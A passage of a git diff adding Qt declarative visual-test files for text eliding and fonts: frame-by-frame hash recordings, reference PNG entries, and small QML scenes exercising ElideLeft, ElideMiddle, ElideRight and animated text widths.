"c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 432 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 448 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 464 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 480 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 496 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 512 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 528 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 544 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 560 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 576 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 592 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 608 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 624 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 640 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 656 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 672 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 688 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 704 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 720 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 736 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 752 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 768 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 784 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 800 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 816 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 832 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 848 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 864 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 880 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 896 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 912 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 928 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 944 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 960 + image: "elide.0.png" + } + Frame { + msec: 976 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 992 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 1008 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 1024 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 1040 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } + Frame { + msec: 1056 + hash: "c80d2bcd4be99c73e6c628870206ce8c" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.0.png new file mode 100644 index 0000000..3dfade5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.1.png new file mode 100644 index 0000000..1ee2076 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.2.png new file mode 100644 index 0000000..ae680be Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.3.png new file mode 100644 index 0000000..c2859be Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.qml new file mode 100644 index 0000000..c592f18 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data/elide2.qml @@ -0,0 +1,991 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 32 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 48 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 64 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 80 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 96 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 112 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 128 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 144 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 160 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 176 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 192 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 208 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 224 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 240 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 256 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 272 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 288 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 304 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 320 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 336 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 352 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 368 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 384 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 400 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 416 + hash: "086a46352aa1221b5e57f5624b0c256b" + } + Frame { + msec: 432 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 448 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 464 + hash: "fc3a7e898d6bfa2af4d774b20609f967" + } + Frame { + msec: 480 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 496 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 512 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 528 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 544 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 560 + hash: "3bcaa6426796bc9097e0aeba90dd5e39" + } + Frame { + msec: 576 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 592 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 608 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 624 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 640 + hash: "4daa612cd7e7ee455ff1a93329202865" + } + Frame { + msec: 656 + hash: "3f362ad550db910f1d9f261557c65913" + } + Frame { + msec: 672 + hash: "3f362ad550db910f1d9f261557c65913" + } + Frame { + msec: 688 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 704 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 720 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 736 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 752 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 768 + hash: "f159011c2b85fe212a32a7b5d2a57016" + } + Frame { + msec: 784 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 800 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 816 + hash: "a892c67199c23e5d9012a6a24cb45d16" + } + Frame { + msec: 832 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 848 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 864 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 880 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 896 + hash: "532e01ed6ede95eca68e641e2edb7f1c" + } + Frame { + msec: 912 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 928 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 944 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 960 + image: "elide2.0.png" + } + Frame { + msec: 976 + hash: "a7dc1d7dde956d62834de0968261386f" + } + Frame { + msec: 992 + hash: "a590e1358fac567dda9fdfc6bfe4ab89" + } + Frame { + msec: 1008 + hash: "a590e1358fac567dda9fdfc6bfe4ab89" + } + Frame { + msec: 1024 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1040 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1056 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1072 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1088 + hash: "778d34ca89b5db88fe26619576e9d337" + } + Frame { + msec: 1104 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1120 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1136 + hash: "9424caee019aa9bccd4156b0b9ca2723" + } + Frame { + msec: 1152 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1168 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1184 + hash: "000061a140ab71a44c0480a92ad3bc70" + } + Frame { + msec: 1200 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1216 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1232 + hash: "5dec9638853165428cd15ae02e1d03ce" + } + Frame { + msec: 1248 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1264 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1280 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1296 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1312 + hash: "ecb69bdbd13114715f738b1ace3ecf51" + } + Frame { + msec: 1328 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1344 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1360 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1376 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1392 + hash: "923b4f4f4a3dbaefbf003859067b2ea9" + } + Frame { + msec: 1408 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1424 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1440 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1456 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1472 + hash: "d4230a476237f9e13a132e775f1b960c" + } + Frame { + msec: 1488 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1504 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1520 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1536 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1552 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1568 + hash: "504ad2ba8543f7ad6490bd45d86fbef9" + } + Frame { + msec: 1584 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1600 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1616 + hash: "dd412c6a2e5cb8890cb43142c84a5673" + } + Frame { + msec: 1632 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1648 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1664 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1680 + hash: "38b1fa7bd4e2f13b05caa62903c56ab6" + } + Frame { + msec: 1696 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1712 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1728 + hash: "ffb2cb01c868c1dfa6b5154c4e8a7fd8" + } + Frame { + msec: 1744 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1760 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1776 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1792 + hash: "9effd5fc19246cfe3d2f5968c5caaa4e" + } + Frame { + msec: 1808 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1824 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1840 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1856 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1872 + hash: "4fa14ae57d170b16fd90d59d5ec83561" + } + Frame { + msec: 1888 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1904 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1920 + image: "elide2.1.png" + } + Frame { + msec: 1936 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1952 + hash: "976dd5bc154522438f92790f28639512" + } + Frame { + msec: 1968 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 1984 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2000 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2016 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2032 + hash: "4ae1d6ddb9a78cc2f4e81b58fcca6a20" + } + Frame { + msec: 2048 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2064 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2080 + hash: "84bdf634cfd4de588f2b0984aa3e97bd" + } + Frame { + msec: 2096 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2112 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2128 + hash: "1a978ed6951afe40912efcfb54dcce65" + } + Frame { + msec: 2144 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2160 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2176 + hash: "a57eea59fe6475164e24688489977869" + } + Frame { + msec: 2192 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2208 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2224 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2240 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2256 + hash: "69ac1d93bd51f495783dbc6a0f7b27be" + } + Frame { + msec: 2272 + hash: "04c62a4d01e9309eaeea87902013c8b9" + } + Frame { + msec: 2288 + hash: "04c62a4d01e9309eaeea87902013c8b9" + } + Frame { + msec: 2304 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2320 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2336 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2352 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2368 + hash: "fac2f5730a600d6b69280d5e6962c1d2" + } + Frame { + msec: 2384 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2400 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2416 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2432 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2448 + hash: "13f7ce73c0a2f1c7958294e4fbf3d30d" + } + Frame { + msec: 2464 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2480 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2496 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2512 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2528 + hash: "96a5678ee5bcbf28df6a2bf66b2b6189" + } + Frame { + msec: 2544 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2560 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2576 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2592 + hash: "abb220abcd579abd988b6f9f7e0bc2b7" + } + Frame { + msec: 2608 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2624 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2640 + hash: "8a8585eb9a5cd1d6c38dc7076923e7f7" + } + Frame { + msec: 2656 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2672 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2688 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2704 + hash: "c13ec1d294921e6a56f6ac4198e084eb" + } + Frame { + msec: 2720 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2736 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2752 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2768 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2784 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2800 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2816 + hash: "53295720dbabe6fbfff56bea0e0ba7f1" + } + Frame { + msec: 2832 + hash: "f44b88b80219497370b5d2ad380d03bf" + } + Frame { + msec: 2848 + hash: "f44b88b80219497370b5d2ad380d03bf" + } + Frame { + msec: 2864 + hash: "a093510751799f3466156f9775988044" + } + Frame { + msec: 2880 + image: "elide2.2.png" + } + Frame { + msec: 2896 + hash: "a093510751799f3466156f9775988044" + } + Frame { + msec: 2912 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2928 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2944 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2960 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2976 + hash: "6327bcbb2d78d3c33eb964643b0d09a5" + } + Frame { + msec: 2992 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3008 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3024 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3040 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3056 + hash: "d7da3826914ad1d2696803b659992e73" + } + Frame { + msec: 3072 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3088 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3104 + hash: "ad40dc153a57c35ea62d9d044f08c9ac" + } + Frame { + msec: 3120 + hash: "df90afe882b18f3fd7b12e52ff36e66f" + } + Frame { + msec: 3136 + hash: "df90afe882b18f3fd7b12e52ff36e66f" + } + Frame { + msec: 3152 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3168 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3184 + hash: "5b84785ffe15c15c3b94c845db7a4a44" + } + Frame { + msec: 3200 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3216 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3232 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3248 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3264 + hash: "f5ca71af8d9fa1809ab88b60f9170bb5" + } + Frame { + msec: 3280 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3296 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3312 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3328 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3344 + hash: "39f1b201715413f13a60f449eef29706" + } + Frame { + msec: 3360 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3376 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3392 + hash: "4baf5c1227de45f9e620fe6eb0590014" + } + Frame { + msec: 3408 + hash: "e1ce9c06e59fb6348fff3ce650c7943e" + } + Frame { + msec: 3424 + hash: "e1ce9c06e59fb6348fff3ce650c7943e" + } + Frame { + msec: 3440 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3456 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3472 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3488 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3504 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3520 + hash: "ad812bdef31b4f1f42c35f7d56b3af83" + } + Frame { + msec: 3536 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3552 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3568 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3584 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3600 + hash: "c08c8bcfc8c23f5e0e89d7f632fde2ca" + } + Frame { + msec: 3616 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3632 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3648 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3664 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3680 + hash: "b8853dc109d063d982952780aa80419a" + } + Frame { + msec: 3696 + hash: "6bfd7cfd6369df1eb570fda103d9e009" + } + Frame { + msec: 3712 + hash: "6bfd7cfd6369df1eb570fda103d9e009" + } + Frame { + msec: 3728 + hash: "b6dba4a456cd8d1b62501039cb796625" + } + Frame { + msec: 3744 + hash: "b6dba4a456cd8d1b62501039cb796625" + } + Frame { + msec: 3760 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3776 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3792 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3808 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3824 + hash: "f43892fffe4a8ce005b60ec43ce0aa4a" + } + Frame { + msec: 3840 + image: "elide2.3.png" + } + Frame { + msec: 3856 + hash: "d2e873e69aed3e0b6e53123cd63e386c" + } + Frame { + msec: 3872 + hash: "d2e873e69aed3e0b6e53123cd63e386c" + } + Frame { + msec: 3888 + hash: "baa8edfce77628c7a1ec83adce96e2c6" + } + Frame { + msec: 3904 + hash: "baa8edfce77628c7a1ec83adce96e2c6" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml new file mode 100644 index 0000000..fa6b5da --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide.qml @@ -0,0 +1,31 @@ +import Qt 4.6 + +Rectangle { + width: childrenRect.width + height: childrenRect.height + Column { + width: 80 + height: myText.height*4 + Text { + elide: "ElideLeft" + text: "aaa bbb ccc ddd eee fff" + width: 80 + id: myText + } + Text { + elide: "ElideMiddle" + text: "aaa bbb ccc ddd eee fff" + width: 80 + } + Text { + elide: "ElideRight" + text: "aaa bbb ccc ddd eee fff" + width: 80 + } + Text { + elide: "ElideNone" + text: "aaa bbb ccc ddd eee fff" + width: 80 + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml new file mode 100644 index 0000000..ecd9470 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/elide2.qml @@ -0,0 +1,12 @@ +import Qt 4.6 + +Rectangle { + width: 500 + height: 100 + + Text { + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 } + elide: Text.ElideRight + text: 'Here is some very long text that we should truncate when sizing window' + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml new file mode 100644 index 0000000..ab6e1533 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/multilength.qml @@ -0,0 +1,19 @@ +import Qt 4.6 + +Rectangle { + width: 500 + height: 50 + color: "lightBlue" + Rectangle { + width: myText.width + height: myText.height + color: "white" + anchors.centerIn: parent + Text { + id: myText + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 1000 } + elide: "ElideRight" + text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png new file mode 100644 index 0000000..67b497f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml new file mode 100644 index 0000000..ab17eb1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/plaintext.qml @@ -0,0 +1,351 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 32 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 48 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 64 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 80 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 96 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 112 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 128 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 144 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 160 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 176 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 192 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 208 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 224 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 240 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + 